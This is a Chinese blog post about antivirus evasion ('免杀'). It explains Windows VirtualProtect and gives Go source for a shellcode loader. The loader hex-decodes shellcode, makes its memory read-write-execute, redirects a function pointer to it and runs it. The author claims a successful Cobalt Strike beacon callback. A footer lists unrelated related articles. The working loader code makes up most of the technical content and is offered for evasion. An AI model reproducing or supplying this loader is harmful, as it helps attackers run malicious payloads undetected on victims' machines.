我的免杀之路:虚拟保护

简介: 虚拟保护技术利用的是 Windows API 中的 VirtualProtect 函数,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。

简述


虚拟保护技术利用的是 Windows API 中的 VirtualProtect 函数,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。说明白点,它的作用就是改变调用进程的一段页的保护属性,如果想要改变其他进程,就需要用到 VirtualProtectEx 函数。这里,我利用 VirtualProtect 函数将 shellcode 所在内存区域设置为可执行模式,并且设置好 shellcode 所在内存起始地址以及内存原始属性类型保存地址,这样的 shellcode 内存区域被设置成可执行模式后,shellcode 就会被正常执行了。


实现思路


关于VirtualProtect函数代码如下:

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {

ret, _, _ := procVirtualProtect.Call(

uintptr(lpAddress),

uintptr(dwSize),

uintptr(flNewProtect),

uintptr(lpflOldProtect))

return ret > 0

}


简单的解释下以上的参数

lpAddress:要改变属性的内存起始地址(shellcode所在内存空间的起始地址)

dwSize:要改变属性的内存区域大小(shellcode长度大小)

flNewProtect:内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行。(此值为0x40)

备注:为什么是0x40,这个值怎么来的。下方链接有介绍哈,这里我简单解释一下。这是填的是内存保护常数,常数的值不同所对应的功能也不一样,对照链接里面的描述,因为现在我需要这个内存区域的可执行权限和写权限,所以这里的值必须得是0x40才能满足我的需求。

https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

lpflOldProtect:内存原始属性类型保存地址。


再来看看核心代码部分:

func ShellCodeVirtualProtect(sc string) {

f := func() {}

var oldfperms uint32

if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {

panic("Call to VirtualProtect failed!")

}

ds, _ := hex.DecodeString(sc)

**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&ds))

var oldshellcodeperms uint32

if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&ds))), uintptr(len(ds)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {

panic("Call to VirtualProtect failed!")

}

f()

}


可见其核心就是利用 VirtualProtect 函数实现,ds 就是 shellcode。如果函数成功,则返回值非零。如果函数失败,则返回值为零。

 

最后的CS上线免杀效果:

图片1.png

图片2.png

图片3.png


参考资料:

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

https://blog.csdn.net/weixin_34004576/article/details/90360650

https://blog.csdn.net/zacklin/article/details/7478118



目录
相关文章
|
10天前
|
网络协议 安全 算法
网络空间安全之一个WH的超前沿全栈技术深入学习之路(9):WireShark 简介和抓包原理及实战过程一条龙全线分析——就怕你学成黑客啦!
实战:WireShark 抓包及快速定位数据包技巧、使用 WireShark 对常用协议抓包并分析原理 、WireShark 抓包解决服务器被黑上不了网等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
网络空间安全之一个WH的超前沿全栈技术深入学习之路(9):WireShark 简介和抓包原理及实战过程一条龙全线分析——就怕你学成黑客啦!
|
10天前
|
网络协议 安全 算法
网络空间安全之一个WH的超前沿全栈技术深入学习之路(9-2):WireShark 简介和抓包原理及实战过程一条龙全线分析——就怕你学成黑客啦!
实战:WireShark 抓包及快速定位数据包技巧、使用 WireShark 对常用协议抓包并分析原理 、WireShark 抓包解决服务器被黑上不了网等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
|
2月前
|
安全 Linux Windows
小试跨平台局域网文件传输工具NitroShare,几点感想
小试跨平台局域网文件传输工具NitroShare,几点感想
|
5月前
|
传感器 运维 监控
局域网监控软件如何选丨这篇文章教会你
监控局域网活动,试试WorkWin(员工行为监控,USB及带宽管理,远程控制,权限分配)和NetFlow Analyzer(流量分析,带宽监控,如Wireshark和PRTG)。还有ManageEngine OpManager(实时监控,报警通知,自动化任务),确保网络安全和效率。来源不详。
83 2
|
6月前
【计网·湖科大·思科】实验一 熟悉仿真软件及访问WEB服务器
【计网·湖科大·思科】实验一 熟悉仿真软件及访问WEB服务器
55 0
|
监控 网络协议 安全
2023年最新整理的中兴设备命令合集,网络工程师收藏!
2023年最新整理的中兴设备命令合集,网络工程师收藏!
431 0
|
人工智能 算法 架构师
计算机学习路线规划,和我一同打开计算机学习的大门吧!
计算机学习路线规划,和我一同打开计算机学习的大门吧!
217 0
计算机学习路线规划,和我一同打开计算机学习的大门吧!
|
运维 虚拟化 Anolis
浪潮信息工程师:谈一谈设备透传虚拟机启动慢背后的原因及其优化方法 | 第 51 期
明天下午4点,一起听浪潮信息工程师解析设备透传虚拟机启动慢的原因及优化方法。
浪潮信息工程师:谈一谈设备透传虚拟机启动慢背后的原因及其优化方法 | 第 51 期
|
数据挖掘 大数据
收藏转发!这五款宝藏软件你一定要用一下
今天带来五款宝藏软件,身为宝藏男孩和宝藏女孩的你们,不试一下吗?
170 1
收藏转发!这五款宝藏软件你一定要用一下
下一篇
无影云桌面